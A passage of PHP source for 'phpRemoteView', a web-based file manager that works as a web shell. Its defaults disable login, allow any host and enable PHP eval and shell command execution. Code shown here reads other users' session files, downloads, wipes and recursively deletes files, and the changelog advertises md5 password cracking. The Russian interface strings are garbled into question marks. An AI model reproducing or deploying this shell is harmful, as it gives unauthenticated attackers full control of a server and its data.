tags, thanks A.Voropay
*
* 2003.04.22 read first 64Kb of null-size file (example: /etc/zero),
* thanks Anight
* add many functions/converts: md5, decode md5 (pass crack),
* date/time, base64, translit, russian charsets
* fix bug: read session files
*
* 2002.08.24 new design and images
* many colums in panel
* sort & setup panel
* dir tree
* base64 encoding
* character map
* HTTP authentication with login/pass
* IP-address authentication with allow hosts
*
* --version3--
* 2002.08.10 add multi language support (english and russian)
* some update
*
* 2002.08.05 new: full windows support
* fix some bugs, thanks Jeremy Flinston
*
* 2002.07.31 add file upload for create files
* add 'direcrory commands'
* view full info after safe_mode errors
* fixed problem with register_glogals=off in php.ini
* fixed problem with magic quotes in php.ini (auto strip slashes)
*
* --version2--
* 2002.01.20 add panel 'TOOLS': eval php-code and run shell commands
* add panel 'TOOLS': eval php-code and run shell commands
* add copy/edit/create file (+panel 'EDIT')
* add only-read mode (disable write/delete and PHP/Shell)
*
* 2002.01.19 add delete/touch/clean/wipe file
* add panel 'INFO', view a/c/m-time, hexdump view
* add session file view mode (link 'SESSION').
*
* 2002.01.12 first version!
*
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
///////////////////////////////// S E T U P ///////////////////////////////////
$version="2003-10-23";
$hexdump_lines=8; // lines in hex preview file
$hexdump_rows=24; // 16, 24 or 32 bytes in one line
$mkdir_mode=0755; // chmode for new dir ('MkDir' button)
$maxsize_fread=65536; // read first 64Kb from any null-size file
// USER ACCESS //
$write_access=true; // true - user (you) may be write/delete files/dirs
// false - only read access
$phpeval_access=true; // true - user (you) may be execute any php-code
// false - function eval() disable
$system_access=true; // true - user (you) may be run shell commands
// false - function system() disable
// AUTHORIZATION //
$login=false; // Login & password for access to this programm.
$pass=false; // Example: $login="MyLogin"; $pass="MyPaSsWoRd";
// Type 'login=false' for disable authorization.
$host_allow=array("*"); // Type list of your(allow) hosts. All other - denied.
// Example: $host_allow=array("127.0.0.*","localhost")
///////////////////////////////////////////////////////////////////////////////
$tmp=array();
foreach ($host_allow as $k=>$v)
$tmp[]=str_replace("\\*",".*",preg_quote($v));
$s="!^(".implode("|",$tmp).")$!i";
if (!preg_match($s,getenv("REMOTE_ADDR")) && !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR"))))
exit("
phpRemoteView : Access Denied - your host not allow \n");
if ($login!==false && (!isset($HTTP_SERVER_VARS['PHP_AUTH_USER']) ||
$HTTP_SERVER_VARS['PHP_AUTH_USER']!=$login || $HTTP_SERVER_VARS['PHP_AUTH_PW']!=$pass)) {
header("WWW-Authenticate: Basic realm=\"phpRemoteView\"");
header("HTTP/1.0 401 Unauthorized");
exit("phpRemoteView : Access Denied - password erroneous \n");
}
error_reporting(2047);
set_magic_quotes_runtime(0);
@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('output_buffering',0);
if (function_exists("ob_start") && (!isset($c) || $c!="md5crack")) ob_start("ob_gzhandler");
$self=basename($HTTP_SERVER_VARS['PHP_SELF']);
$url="http://".getenv('HTTP_HOST').
(getenv('SERVER_PORT')!=80 ? ":".getenv('SERVER_PORT') : "").
$HTTP_SERVER_VARS['PHP_SELF'].
(getenv('QUERY_STRING')!="" ? "?".getenv('QUERY_STRING') : "");
$uurl=urlencode($url);
//
// antofix 'register globals': $HTTP_GET/POST_VARS -> normal vars;
//
$autovars1="c d f php skipphp pre nlbr xmp htmls shell skipshell pos ".
"ftype fnot c2 confirm text df df2 df3 df4 ref from to ".
"fatt showfile showsize root name ref names sort sortby ".
"datetime fontname fontname2 fontsize pan limit convert fulltime fullqty";
foreach (explode(" ",$autovars1) as $k=>$v) {
if (isset($HTTP_POST_VARS[$v])) $$v=$HTTP_POST_VARS[$v];
elseif (isset($HTTP_GET_VARS[$v])) $$v=$HTTP_GET_VARS[$v];
//elseif (isset($HTTP_COOKIE_VARS[$v])) $$v=$HTTP_COOKIE_VARS[$v];
}
//
// autofix 'magic quotes':
//
$autovars2="php shell text d root convert";
if (get_magic_quotes_runtime() || get_magic_quotes_gpc()) {
foreach (explode(" ",$autovars2) as $k=>$v) {
if (isset($$v)) $$v=stripslashes($$v);
}
}
$cp_def=array(
"001001",
"nst2ac",
"d/m/y H:i",
"Tahoma",
"9"
);
$panel=0;
if (isset($HTTP_COOKIE_VARS["cp$panel"]))
$cp=explode("~",$HTTP_COOKIE_VARS["cp$panel"]);
else
$cp=$cp_def;
$cc=$cp[0];
$cn=$cp[1];
/*
$cc / $cp[0]- ?????? ????????????? ??????????, ??????????? ? $cs:
$cc[0] - ?? ????? ??????? ???????????, ? ???? ??? ?? ?????:
n - ?? ?????
e - ??????????
$cc[1] - ??????? (0 - ???????. 1 - ?????????)
$cc[2] - ?????????? ?? ??????
$cc[3] - ??? ?????? ??? ????? ?? ?????? ?????:
0 - ???????? ? text/plain
1 - ???????? ? html
2 - download
3 - ????????? ????? (info)
$cc[4] - ????????? ?????? ?????? ?? ??/??/??
$cc[5] - ????:
1 - ??????????
2 - ??????
$cn / $cp[1] - ?????? ??????? ? ?? ???????, ??????? ??????????, ?????? ????/????:
t - type
n - name
s - size
a - owner+group
o - owner
g - group
c - chmod
1 - create time
2 - modify time
3 - access time
$cp[2]: ?????? ???????
$cp[3]: ??? ??????
$cp[4]: ?????? ??????
*/
// ??? ??????????? ???????
$cn_align=array();
$cn_align['t']='center';
$cn_align['n']='left';
$cn_align['s']='right';
$cn_align['a']='center';
$cn_align['o']='center';
$cn_align['g']='center';
$cn_align['c']='center';
$cn_align['1']='center';
$cn_align['2']='center';
$cn_align['3']='center';
///////////////////////////////////////////////////////////////////////////////
/*--mmstart--*/
$mm=array(
"Index of"=>"??????",
"View file"=>"????? ?????",
"DISK"=>"????",
"Info"=>"????",
"Plain"=>"??????",
"HTML"=>"HTML",
"Session"=>"??????",
"Image"=>"????????",
"Notepad"=>"???????",
"DOWNLOAD"=>"?????????",
"Edit"=>"??????",
"Sorry, this programm run in read-only mode."=>"????????, ??? ????????? ???????? ? ?????? '?????? ??????'.",
"For full access: write"=>"??? ??????? ???????: ????????",
"in this php-file"=>"? ???? php-?????",
"Reason"=>"???????",
"Error path"=>"????????? ????",
"Click here for start"=>"??????? ??? ??????",
"up directory"=>"??????? ????",
"access denied"=>"?????? ????????",
"REMVIEW TOOLS"=>"??????? REMVIEW",
"version"=>"??????",
"Free download"=>"?????????? ????????",
"back to directory"=>"????????? ? ???????",
"Size"=>"??????",
"Owner"=>"?????",
"Group"=>"??????",
"FileType"=>"??? ?????",
"Perms"=>"?????",
"Create time"=>"????? ????????",
"Access time"=>"????? ???????",
"MODIFY time"=>"????? ?????????",
"HEXDUMP PREVIEW"=>"???????????? ? 16-?????? ????",
"ONLY READ ACCESS"=>"?????? ?????? ?? ??????",
"Can't READ file - access denied"=>"?? ???? ????????? - ?????? ????????",
"full read/write access"=>"?????? ?????? ?? ??????/??????",
"FILE SYSTEM COMMANDS"=>"??????? ???????? ???????",
"EDIT"=>"??????.",
"FILE"=>"????",
"DELETE"=>"???????",
"Delete this file"=>"??????? ????",
"CLEAN"=>"????????",
"TOUCH"=>"????????",
"Set current 'mtime'"=>"?????.?????.?????",
"WIPE(delete)"=>"??????????",
"Write '0000..' and delete"=>"?????? ??????, ???????",
"COPY FILE"=>"?????????? ????",
"COPY"=>"??????????",
"MAKE DIR"=>"??????? ???????",
"type full path"=>"??????? ?????? ????",
"MkDir"=>"????.???.",
"CREATE NEW FILE or override old file"=>"??????? ????? ???? ??? ???????????? ??????",
"CREATE/OVERRIDE"=>"???????/????????????",
"select file on your local computer"=>"??????? ???? ?? ????? ????????? ??????????",
"save this file on path"=>"????????? ???? ???? ? ???????",
"create file name automatic"=>"????????? ??? ????? ?????????????",
"OR"=>"???",
"type any file name"=>"?????? ??? ????? ???????",
"convert file name to lovercase"=>"?????????????? ??? ? ?????? ???????",
"Send File"=>"??????? ????",
"Delete all files in dir"=>"??????? ??? ?????",
"Delete all dir/files recursive"=>"??????? ??? +??????????? ??????????",
"Confirm not found (go back and set checkbox)"=>"????????????? ?? ?????????? (????????? ????? ? ????????? ???????)",
"Delete cancel - File not found"=>"???????? ???????? - ???? ?? ??????",
"YES"=>"??",
"ME"=>"????",
"NO (back)"=>"??? (?????)",
"Delete cancel"=>"???????? ????????",
"ACCESS DENIED"=>"?????? ????????",
"done (go back)"=>"?????? (?????)",
"Delete ok"=>"??, ????????",
"Touch cancel"=>"?????????? ????????",
"Touch ok (set current time to 'modify time')"=>"?????????? ????????? (????? ????????? ??????? ????? ???????????)",
"Clean (empty file) cancel"=>"???????? (????????? ?????) ????????",
"Clean ok (file now empty)"=>"??, ??????? (???? ???????)",
"Wipe cancel - access denied"=>"??????????? ???????? - ?????? ????????",
"Wipe ok (file deleted)"=>"??, ?????????? (? ???? ?????)",
"DIR"=>"DIR",
"Deleting all files in"=>"???????? ???? ?????? ?",
"skip"=>"???????",
"deleting"=>"????????",
"Deleting all dir/files (recursive) in"=>"???????? ???? ??????/???????????? (??????????)",
"DONE, go back"=>"??????, ?????",
"DONE"=>"??????",
"file not found"=>"???? ?? ??????",
"ONLY READ ACCESS (don't edit!)"=>"?????? ?????? ?? ?????? (?? ?????????????)",
"Can't READ file - access denied (don't edit!)"=>"?? ???? ?????? ???? - ?????? ????????",
"EDIT FILE"=>"??????? ????",
"can't open, access denied"=>"?? ???? ???????, ?????? ????????",
"SAVE FILE (write to disk)"=>"????????? ???? (?????? ?? ????)",
"You mast checked 'create file name automatic' OR typed file name!"=>"?? ?????? ???????? ??????? [??????? ???? ?????????????] ??? ?????? ? ???? ??? ?????!'",
"SAVING TO"=>"????????? ?",
"Sorry, access denied"=>"????????, ?????? ????????",
"for example, uncomment next line"=>"??? ???????, ???????????????? ????????? ??????",
"Eval PHP code"=>"????????? PHP ???",
"don't type"=>"?? ??????",
"and"=>"?",
"example (remove comments '#')"=>"?????? (??????? ??????????? '#')",
"Shell commands"=>"??????? Shell'a",
"filesize to 0byte"=>"?????? ? 0 ????",
"from"=>"??",
"to"=>"?",
"Full file name"=>"?????? ??? ?????",
"Can't open directory"=>"?? ???? ??????? ???????",
"setup"=>"?????????",
"back"=>"?????",
"Reset all settings"=>"???????? ??? ?????????",
"clear"=>"????????",
"Current"=>"???????",
"Colums and sort"=>"??????? ? ??????????",
"Sort order"=>"??????? ??????????",
"Ascending sort"=>"?? ???????????",
"Descending sort"=>"?? ????????",
"Sort by filename"=>"??????????? ?? ????? ?????",
"Sort by filename extension"=>"??????????? ?? ?????????? ?????",
"Date/time format"=>"?????? ????/???????",
"Panel font & size"=>"?????/?????? ??????",
"Setup"=>"?????",
"Char map"=>"???????",
"Language"=>"????",
"English"=>"??????????",
"Russian"=>"???????",
"Character map (symbol codes table)"=>"??????? ????????",
"Select font"=>"???????? ?????",
"or type other"=>"??? ??????? ??????",
"Font size"=>"?????? ??????",
"Code limit"=>"??????? ?????",
"Generate table"=>"????????????? ???????",
"Universal convert"=>"????????????? ???????????"
);/*--mmstop--*/
$language=$cc[5];
if ($language!=1 && $language!=2) $language=1;
function mm($m) {
global $mm,$language;
if ($language==1) return $m;
if (isset($mm[$m])) return $mm[$m];
else echo "";
}
switch ($language) {
case 1:
$cn_name=array(
't'=>"Type",
'n'=>"Name",
's'=>"Size",
'o'=>"Owner",
'g'=>"Group",
'a'=>"Owner/Group",
'c'=>"Perms",
'1'=>"Create",
'2'=>"Modify",
'3'=>"Access"
);
break;
case 2:
$cn_name=array(
't'=>"???",
'n'=>"???",
's'=>"??????",
'o'=>"????????",
'g'=>"??????",
'a'=>"????????/??????",
'c'=>"?????",
'1'=>"??????",
'2'=>"???????",
'3'=>"??????"
);
break;
}
///////////////////////////////////////////////////////////////////////////////
$rand=microtime();
if (!isset($c)) $c="";
if (!isset($d)) $d="";
if (!isset($f)) $f="";
ob();
$d=str_replace("\\","/",$d);
if ($d=="") $d=realpath("./")."/";
if ($c=="") $c="l";
if ($d[strlen($d)-1]!="/") $d.="/";
$d=str_replace("\\","/",$d);
if (!is_dir($d)) obb().die("".mm("Can't open directory")." $d $obb");
if (!realpath($d) || filetype($d)!="dir") obb().die("error dir type $obb");
obb();
//
// OS detect:
//
$win=0;
$unix=0;
if (strlen($d)>1 && $d[1]==":") $win=1; else $unix=1;
///////////////////////////////////////////////////////////////////////////////
$html=<<
phpRemoteView: $d$f
remview;
function display_perms($mode)
{
if ($GLOBALS['win']) return 0;
/* Determine Type */
if( $mode & 0x1000 )
$type='p'; /* FIFO pipe */
else if( $mode & 0x2000 )
$type='c'; /* Character special */
else if( $mode & 0x4000 )
$type='d'; /* Directory */
else if( $mode & 0x6000 )
$type='b'; /* Block special */
else if( $mode & 0x8000 )
$type='-'; /* Regular */
else if( $mode & 0xA000 )
$type='l'; /* Symbolic Link */
else if( $mode & 0xC000 )
$type='s'; /* Socket */
else
$type='u'; /* UNKNOWN */
/* Determine permissions */
$owner["read"] = ($mode & 00400) ? 'r' : '-';
$owner["write"] = ($mode & 00200) ? 'w' : '-';
$owner["execute"] = ($mode & 00100) ? 'x' : '-';
$group["read"] = ($mode & 00040) ? 'r' : '-';
$group["write"] = ($mode & 00020) ? 'w' : '-';
$group["execute"] = ($mode & 00010) ? 'x' : '-';
$world["read"] = ($mode & 00004) ? 'r' : '-';
$world["write"] = ($mode & 00002) ? 'w' : '-';
$world["execute"] = ($mode & 00001) ? 'x' : '-';
/* Adjust for SUID, SGID and sticky bit */
if( $mode & 0x800 )
$owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
if( $mode & 0x400 )
$group["execute"] = ($group['execute']=='x') ? 's' : 'S';
if( $mode & 0x200 )
$world["execute"] = ($world['execute']=='x') ? 't' : 'T';
$s=sprintf("%1s", $type);
$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
return trim($s);
}
function _posix_getpwuid($x) {
if ($GLOBALS['win']) return array();
return @posix_getpwuid($x);
}
function _posix_getgrgid($x) {
if ($GLOBALS['win']) return array();
return @posix_getgrgid($x);
}
function up($d,$f="",$name="") {
global $self,$win;
$len=strlen($d."/".$f);
if ($len<70) { $sf1=""; $sf2=""; }
elseif ($len<90) {$sf1=""; $sf2="";}
else {$sf1=""; $sf2="";}
echo " $sf1";
$home="* ";
echo $home.$sf2."";
if ($name!="") echo $name;
else {
if ($f=="") echo mm("Index of");
else echo mm("View file");
}
echo " ";
$path=explode("/",$d);
$rootdir="/";
if ($win) $rootdir=strtoupper(substr($d,0,2))."/";
$ss="";
for ($i=0; $i $rootdir ";
else
$comm="$path[$i]/ ";
$ss.=$path[$i]."/";
echo "$comm ";
if ($i==0 && $d=="/") break;
}
echo "";
if ($f!="") echo "$sf1$f";
if ($win && strlen($d)<4 && $f=="") {
echo " ".mm("DISK").": ";
for ($i=ord('a'); $i<=ord('z'); $i++) {
echo "".strtoupper(chr($i)).": ";
}
}
echo "
";
}
function up_link($d,$f) {
global $self;
$notepad=str_replace(".","_",$f).".txt";
echo "
[".mm("Info")." ]
[".mm("Plain")."(+) ]
[".mm("HTML")."(+) ]
[".mm("Session")." ]
[".mm("Image")." ]
[".mm("Notepad")." ]
[".mm("DOWNLOAD")." ]
[".mm("Edit")." ]
";
}
function exitw() {
exit("
".mm("Sorry, this programm run in read-only mode.")."
".mm("For full access: write")." `\$write_access=true ; `
".mm("in this php-file").".
");
}
function ob() {
global $obb_flag, $obb;
if (!isset($obb_flag)) { $obb_flag=0; $obb=false; }
if (function_exists("ob_start")) {
if ($GLOBALS['obb_flag']) ob_end_clean();
ob_start();
$GLOBALS['obb_flag']=1;
}
}
function obb() {
global $obb;
if (function_exists("ob_start")) {
$obb=ob_get_contents();
ob_end_clean();
$obb="
";
$GLOBALS['obb_flag']=0;
}
}
function sizeparse($size) {
return strrev(preg_replace("!...!","\\0 ",strrev($size)));
}
function jsval($msg) {
$msg=str_replace("\\","\\\\",$msg);
$msg=str_replace("\"","\\\"",$msg);
$msg=str_replace("'","\\'",$msg);
return '"'.$msg.'",';
}
///////////////////////////////////////////////////////////////////////////
switch($c) {
// listing
case "l":
echo $GLOBALS['html'];
if (!realpath($d)) die("".mm("Error path").". ".mm("Click here for start")." .");
//up($d);
ob();
$di=dir($d);
obb();
$dirs=array();
$files=array();
if (!$di) exit("<<< ".mm("up directory")." >>>
".
"".mm("access denied")." : $obb");
while (false!==($name=$di->read())) {
if ($name=="." || $name=="..") continue;
if (@is_dir($d.$name)) {
$dirs[]=strval($name);
$fstatus[$name]=0;
}
else {
$files[]=strval($name);
$fstatus[$name]=1;
}
$fsize[$name]=@filesize($d.$name);
$ftype[$name]=@filetype($d.$name);
if (!is_int($fsize[$name])) { $ftype[$name]='?'; $fstatus[$name]=1; }
$fperms[$name]=@fileperms($d.$name);
$fmtime[$name]=@filemtime($d.$name);
$fatime[$name]=@fileatime($d.$name);
$fctime[$name]=@filectime($d.$name);
$fowner[$name]=@fileowner($d.$name);
$fgroup[$name]=@filegroup($d.$name);
if (preg_match("!^[^.].*\.([^.]+)$!",$name,$ok))
$fext[$name]=strtolower($ok[1]);
else
$fext[$name]="";
}
$di->close();
$listsort=array();
if (count($dirs))
foreach ($dirs as $v) {
switch ($cc[0]) {
case "e": $listsort[$v]=$fext[$v].' '.$v; break;
case "n": $listsort[$v]=strtolower($v); break;
default:
switch ($cn[$cc[0]]) {
case "t": case "s": case "n": $listsort[$v]=strtolower($v); break;
case "o": $listsort[$v]=$fowner[$v]; break;
case "g": $listsort[$v]=$fgroup[$v]; break;
case "a": $listsort[$v]="$fowner[$v] $fgroup[$v]"; break;
case "c": $listsort[$v]=$fperms[$v]; break;
case "1": $listsort[$v]=$fctime[$v]; break;
case "2": $listsort[$v]=$fmtime[$v]; break;
case "3": $listsort[$v]=$fatime[$v]; break;
}
}
}
$names=$listsort;
//echo "
";print_r($names);
if ($cc[1]) arsort($names); else asort($names);
//echo "";print_r($names);
$listsort=array();
if (count($files))
foreach ($files as $v) {
$v=strval($v);
switch ($cc[0]) {
case "e": $listsort[$v]=$fext[$v].' '.$v; break;
case "n": $listsort[$v]=strtolower($v); break;
default:
switch ($cn[$cc[0]]) {
case "n": $listsort[$v]=strtolower($v); break;
case "t": $listsort[$v]=$ftype[$v]; break;
case "s": $listsort[$v]=$fsize[$v]; break;
case "o": $listsort[$v]=$fowner[$v]; break;
case "g": $listsort[$v]=$fgroup[$v]; break;
case "a": $listsort[$v]="$fowner[$v] $fgroup[$v]"; break;
case "c": $listsort[$v]=$fperms[$v]; break;
case "1": $listsort[$v]=$fctime[$v]; break;
case "2": $listsort[$v]=$fmtime[$v]; break;
case "3": $listsort[$v]=$fatime[$v]; break;
}
}
}
//echo "DIRS:"; print_r($names);
if ($cc[1]) arsort($listsort); else asort($listsort);
//$names=array_merge($names,$listsort);
foreach ($listsort as $k=>$v) $names[$k]=$v;
//echo "FILES:"; print_r($listsort);
//echo "NAMES:"; print_r($names);
?>
";
if (strlen($d)>$gr && $i>0 && $i+1$gr) {
$out.="••";
$sum+=strlen($n[$i]);
}
else
$out.=$n[$i];
}
else
if ($i==0) $out.=strtoupper($n[$i]); else $out.=$n[$i];
$out.="/";
}
return $out;
return "$d ";
}
$ext=array();
$ext['html']=array('html','htm','shtml');
$ext['txt']=array('txt','ini','conf','','bat','sh','tcl','js','bak','doc','log','sfc','c','cpp','h','cfg');
$ext['exe']=array('exe','com','pif','src','lnk');
$ext['php']=array('php','phtml','php3','php4','inc');
$ext['img']=array('gif','png','jpeg','jpg','jpe','bmp','ico','tif','tiff','avi','mpg','mpeg');
echo "\n\n\n\n\n\n";
//phpinfo();
//echo implode(" | ",$cp);
echo '';
echo "
".mm("Setup")." |
PHP eval |
phpinfo() |
Shell |
".mm("Char map")." |
".mm("Language").":
".mm("English")." /".mm("Russian")."
";
break;
case "set":
switch ($c2) {
case "sort":
$name=intval($name);
if ($name==$cc[0]) if ($cc[1]==='0') $cc[1]='1'; else $cc[1]='0';
$cc[0]=$name;
break;
case "panel":
$cn='';
foreach ($names as $k=>$v) {
if ($v!="") $cn.=substr($v,0,1);
}
$cc[0]=substr($sort,0,1);
$cc[1]=substr($sortby,0,1);
$cp[2]=substr($datetime,0,50);
$cp[3]=substr($fontname,0,50);
$cp[4]=substr($fontsize,0,50);
//exit("cn=$cn cc=$cc");
break;
case "eng":
$cc[5]=1;
break;
case "rus":
$cc[5]=2;
break;
}
$cookie=$cc."~".$cn."~".$cp[2]."~".$cp[3]."~".$cp[4];
if ($c2=="reset") $cookie=implode("~",$cp_def);
//echo "";
setcookie("cp$pan",$cookie,time()+24*60*60*333,'/');
header("Location: $ref");
echo "";
//echo "[$ref]";
//phpinfo();
break;
case "setup":
echo $GLOBALS['html'];
echo "phpRemoteView ".mm("setup")." [".mm("back")." ] ";
echo "";
echo "
".mm("Reset all settings")." : ".mm("clear")." ";
echo " (".mm("Current").": ".implode(" | ",$cp)." ) ";
echo "
";
echo " ";
break;
// view
case "v":
if (!isset($fnot)) $fnot=0;
if (!isset($ftype)) $ftype=0;
if ($fnot==0) {
echo $GLOBALS['html'];
up($d,$f);
echo "<<<".mm("back to directory")." >>> ";
up_link($d,$f);
echo " ";
}
if (!realpath($d.$f) || !file_exists($d.$f)) exit("".mm("file not found")."");
if (!is_file($d.$f) || !$fi=@fopen($d.$f,"rb")) exit("".mm("access denied")." ");
if ($ftype==0 || $ftype==4) {
$buf=fread($fi,max(filesize($d.$f),$maxsize_fread));
fclose($fi);
}
switch ($ftype) {
case 0:
echo "
".htmlspecialchars($buf)." ";
break;
case 1:
readfile($d.$f);
break;
case 2:
header("Content-type: image/gif");
readfile($d.$f);
break;
case 3: // download
if (isset($fatt) && strlen($fatt)>0) {
$attach=$fatt;
header("Content-type: text/plain");
}
else {
$attach=$f;
header("Content-type: phpspbru");
}
header("Content-disposition: attachment; filename=\"$attach\";");
readfile($d.$f);
break;
case 4: // session
echo "";
if (substr($f,0,5)=="sess_" && preg_match("!^sess_([a-z0-9]{32})$!i",$f,$ok)) {
ini_set("session.save_path",$d);
session_id($ok[1]);
session_start();
print_r($HTTP_SESSION_VARS);
}
else {
print_r(unserialize($buf));
}
echo " ";//";
break;
}
break;
case "i": // information for FILE
echo $GLOBALS['html'];
up($d,$f);
echo "<<<".mm("back to directory")." >>> ";
up_link($d,$f);
if (!realpath($d.$f) || !file_exists($d.$f)) exit(mm("file not found"));
echo "".htmlspecialchars($d.$f)."
";
echo "
";
echo "".mm("Size")." ".filesize($d.$f)." ";
echo "".mm("Owner")."/".mm("Group")." ";
$tmp=@_posix_getpwuid(fileowner($d.$f));
if (!isset($tmp['name']) || $tmp['name']=="") echo fileowner($d.$f)." ";
else echo $tmp['name']." ";
$tmp=@_posix_getgrgid(filegroup($d.$f));
if (!isset($tmp['name']) || $tmp['name']=="") echo filegroup($d.$f);
else echo $tmp['name'];
echo " ".mm("FileType")." ".filetype($d.$f)." ";
echo "".mm("Perms")." ".display_perms(fileperms($d.$f))." ";
echo "".mm("Create time")." ".date("d/m/Y H:i:s",filectime($d.$f))." ";
echo "".mm("Access time")." ".date("d/m/Y H:i:s",fileatime($d.$f))." ";
echo "".mm("MODIFY time")." ".date("d/m/Y H:i:s",filemtime($d.$f))." ";
echo "
";
$fi=@fopen($d.$f,"rb");
if ($fi) {
$str=fread($fi,$hexdump_lines*$hexdump_rows);
echo "".mm("HEXDUMP PREVIEW")." ";
$n=0;
$a0="00000000 ";
$a1="";
$a2="";
for ($i=0; $i0
"; break;
case 32:
case 10:
case 13: $a2.=" "; break;
default: $a2.=htmlspecialchars($str[$i]);
}
$n++;
if ($n==$hexdump_rows) {
$n=0;
if ($i+1";
$a1.=" ";
$a2.=" ";
}
}
//if ($a1!="") $a0.=sprintf("%08X",$i)." ";
echo "";
}
echo "Base64:
[Encode ]
[+chunk ]
[+chunk+quotes ]
[Decode ]
";
if (!$write_access) exitw();
$msg="";
if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r+")) $msg=" (".mm("ONLY READ ACCESS")." )";
else fclose($fi);
if (!is_file($d.$f) || !$fi=@fopen($d.$f,"r")) $msg=" (".mm("Can't READ file - access denied")." )";
else fclose($fi);
if ($msg=="") $msg=" (".mm("full read/write access").")";
echo "".mm("FILE SYSTEM COMMANDS")."$msg
";
echo "
";
echo "";
echo "
";
echo "
";
echo "
FILE UPLOAD: ".mm("CREATE NEW FILE or override old file")."
1. ".mm("select file on your local computer").":
2. ".mm("save this file on path").":
3.
".mm("create file name automatic")."
".mm("OR")."
".mm("type any file name").":
4.
".mm("convert file name to lovercase")."
";
break;
case "base64":
echo "\n";
$ff=fopen($d.$f,"rb") or exit("access denied");
$text=fread($ff,max(filesize($d.$f),$maxsize_fread));
fclose($ff);
switch ($c2) {
case 0:
echo base64_encode($text);
break;
case 1:
echo chunk_split(base64_encode($text));
break;
case 2:
$text=base64_encode($text);
echo substr(preg_replace("!.{1,76}!","'\\0'.\n",$text),0,-2);
break;
case 3:
echo base64_decode($text);
break;
}
break;
case "d": // information for DIRECTORY
echo $GLOBALS['html'];
up($d,"","Directory");
echo "<<<".mm("back to directory")." >>> ";
echo "
";
//up_link($d,"");
if (!realpath($d) || !is_dir($d.$f)) exit(mm("dir not found"));
echo "
";
if (!$write_access) exitw();
echo "".mm("FILE SYSTEM COMMANDS")."
";
echo "
";
echo "
".mm("MAKE DIR")." (type full path)
";
echo "
".mm("CREATE NEW FILE or override old file")."
".mm("Full file name")."
<=confirm
";
echo "
(FILE UPLOAD) ".mm("CREATE NEW FILE or override old file")."
1. ".mm("select file on your local computer").":
2. ".mm("save this file on path").":
3.
".mm("create file name automatic")."
".mm("OR")."
".mm("type any file name").":
4.
".mm("convert file name to lovercase")."
";
break;
case "tree":
$tcolors=array(
'eee','ddd','ccc','bbb','aaa','999','888','988','a88','b88','c88','d88','e88','d98',
'ca8','bb8','ac8','9d8','8e8','8d9','8ca','8bb','8ac','89d','88e');
function dir_tree($df,$level=0) {
global $tcolors,$self;
$df=str_replace("//","/",$df);
$dirs=array();
$files=array();
if ($dir=opendir($df)) {
while (($file=readdir($dir))!==false) {
if ($file=="." || $file=="..") continue;
if (is_dir("$df/$file")) {
$dirs[]=$file;
}
else {
$files[]=$file;
}
}
}
closedir($dir);
sort($dirs);
sort($files);
$i=min($level,count($tcolors)-1);
$c=$tcolors[$i][0].$tcolors[$i][0].$tcolors[$i][1].$tcolors[$i][1].$tcolors[$i][2].$tcolors[$i][2];
echo "\r\n\r\n\r\n
".
" ".
$df." ";
if (count($dirs) || count($files)) {
echo " ";
for ($i=0; $i ";
}
echo '
';
}
echo "
";
echo $GLOBALS['html'];
up($d,"","Directory");
echo "<<<".mm("back to directory")." >>> ";
echo "";
dir_tree($d);
break;
case "delete":
if (!$write_access) exitw();
if (!isset($c2)) exit("err# delete 1");
if (!isset($confirm) || strlen($confirm)<3) exit("".mm("Confirm not found (go back and set checkbox)")."");
echo "<<<".mm("back to directory")." >>>
";
if (!isset($d) || !isset($f) || !@file_exists($d.$f) || !@realpath($d.$f))
exit("".mm("Delete cancel - File not found")."");
if (realpath(getenv("SCRIPT_FILENAME"))==$d.$f && !isset($delete_remview_confirm))
exit(mm("Do you want delete this script (phpRemoteView) ???")."
[".mm("YES").", ".mm("DELETE")." ".mm("ME")." ]
[".mm("NO (back)")."] ");
switch ($c2) {
case "delete":
//exit("$d $f");
ob();
if (!unlink($d.$f))
obb().exit("".mm("Delete cancel")." - ".mm("ACCESS DENIED")." $obb");
Header("Location: $self?c=l&d=".urlencode($d));
echo "
".mm("done (go back)")."!
";
echo "".mm("Delete ok")."";
break;
case "touch":
ob();
if (!touch($d.$f))
obb().exit("".mm("Touch cancel")." - ".mm("ACCESS DENIED")." $obb");
Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f));
echo "".mm("done (go back)")."!
";
echo "".mm("Touch ok (set current time to 'modify time')")."";
break;
case "clean":
ob();
$fi=fopen($d.$f,"w+") or
obb().exit("".mm("Clean (empty file) cancel")." - ".mm("ACCESS DENIED")." obb");
ftruncate($fi,0);
fclose($fi);
Header("Location: $self?c=i&d=".urlencode($d)."&f=".urlencode($f));
echo "".mm("done (go back)")."!
";
echo "".mm("Clean ok (file now empty)")."";
break;
case "wipe":
$size=filesize($d.$f);
ob();
$fi=fopen($d.$f,"w+") or
obb().exit("".mm("Wipe cancel - access denied")." $obb");
$str=md5("phpspbru".mt_rand(0,999999999).time());
for ($i=0; $i<5; $i++) $str.=$str; // strlen 1024 byte
for ($i=0; $i".mm("done (go back)")."!";
echo "".mm("Wipe ok (file deleted)")."";
break;
}
//Header("Location: $self?c=l&d=".urlencode(dirname($df)));
//echo "SAVE NEW FILE DONE (go back)! ";
break;
case "dirdelete":
if (!$write_access) exitw();
function dir_delete($df) {
echo "".basename($df)."
";
if ($dir=opendir($df)) {
$i=0;
while (($file=readdir($dir))!==false) {
if ($file=="." || $file=="..") continue;
if (is_dir("$df/$file")) {
dir_delete($df."/".$file);
}
else {
echo "$file ";
echo "".mm("DELETE")." $df/$file ... ";
unlink($df."/".$file);
}
$i++;
}
//if ($i==0) echo "-empty- ";
}
closedir($dir);
echo " ";
echo "".mm("DELETE")." ".mm("DIR")." $df ... ";
rmdir("$df/$file");
}
if (!isset($c2)) exit("error dirdelete 1");
if (!isset($confirm)) exit("".mm("Confirm not found (go back and set checkbox)")."!");
$df="$d";
switch ($c2) {
case "files":
echo "".mm("Deleting all files in")." $df ... ";
if ($dir=opendir($df)) {
while (($file=readdir($dir))!==false) {
if ($file=="." || $file=="..") continue;
if (is_dir($df.$file)) {
echo ">$file ".mm("skip").": ".filetype($df.$file)." ";
}
